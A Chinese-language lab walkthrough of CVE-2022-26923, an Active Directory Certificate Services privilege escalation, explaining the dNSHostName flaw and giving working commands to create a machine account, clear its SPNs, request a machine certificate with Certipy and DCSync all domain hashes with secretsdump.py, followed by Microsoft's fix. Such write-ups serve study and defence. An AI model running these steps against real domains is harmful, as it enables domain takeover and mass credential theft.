Active Directory Domain Privilege Escalation(CVE-2022-26923)
简介
CVE-2022-2693是ADCS的一个漏洞,允许任何AD用户提升权限为域管理员
当在环境中安装ADCS时,将为证书申请提供如下两个证书模板: User Certificate Template 和 Machine Certificate Template
当用户账户根据模板申请证书时,用户账户的UPN将被嵌入到证书中进行识别。当我们使用该证书进行认证时,KDC会尝试将证书中的UPN映射到用户身上。由于UPN必须是唯一的,域内不允许出现两个一样的UPN,因此我们无法利用该模板。
但是,机器账户没有UPN,当机器账户根据模板申请证书时,不使用UPN进行身份验证,而是借助dNSHostName属性进行验证,即使用计算机的 DNS 名称进行识别和身份验证。当通过计算机模板为计算机请求证书时,ADCS 会将计算机的 DNS 名称嵌入到 SAN 中,然后用于身份验证
而dNSHostName属性不具有唯一性,我们可以通过构造机器账户并篡改dNSHostName属性,在证书申请时ADCS将dNSHostName属性嵌入证书中,如果证书有Client Authentication EKU,我们可以与 AD CS 和KDC交互以请求 Kerberos TGT票据
但是如果更改DNS主机名,Microsoft会自动更新SPN属性(Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户关联),而SPN必须是唯一的,但是我们可以绕过这个限制
利用条件
能够创建机器账户(或拥有某机器账户的控制权)
对机器账户具有修改属性的权限
目标未打相应补丁
需要开启135和445端口
利用
certutil -dump
可以看到ADCS服务器为LUNDC.lunar.eruca.com
根据名字不难猜测出其就是域控 CA名称为lunar-LUNDC-CA
使用addcomputer.py新建一个机器账户
addcomputer.py 'lunar.eruca.com/thm:Password1@' -method LDAPS -computer-name 'XUX' -computer-pass 'Password1@'
尝试使用 Set-ADComputer cmdlet 将 DNSHostName更新为 DC 的DNSHostName
可以看到失败了,因为当我们更新DNSHostName
的时候,只有两个值被更新和检查,即RestrictedKrbHost/lunar.eruca.com
和HOST/lunar.eruca.com
,其中包含DNSHostName属性值,解决措施就是删除XUX$机器账户中这两个SPN值,在域控同步更新时不造成冲突
Set-ADComputer XUX -ServicePrincipalName @{}
然后可以使用Certify(https://github.com/ly4k/Certipy) 来请求新证书
certipy req -u 'XUX$@lunar.eruca.com' -p 'Password1@' -ca LUNAR-LUNDC-CA -template Machine
然后我们可以利用lundc$
的hash进行DcSync,转储所有用户的hash
方法一: 利用hash
secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:14fc9b5814def64289bb694f6659c733 'lundc$@LUNDC.lunar.eruca.com' -no-pass -just-dc -dc-ip 10.10.106.76
方法二: 利用票据
export KRB5CCNAME=/Users/xuxuan/lundc.ccache
secretsdump.py -k 'lundc$@LUNDC.lunar.eruca.com' -no-pass -just-dc
此外,之前的添加机器账号以及删除SPN也可以通过魔改addcomputer.py
来一步到位
修复
微软在5月安全更新进行了修补。方法是在新证书中引入新的对象 ID (OID) 以进一步对用户进行指纹识别。这是通过在新的OID 中嵌入用户 objectSid
(SID)来完成的
此外,“验证写入 DNS 主机名”权限现在只允许设置dNSHostName
为与帐户的 SAM 帐户名称相匹配的属性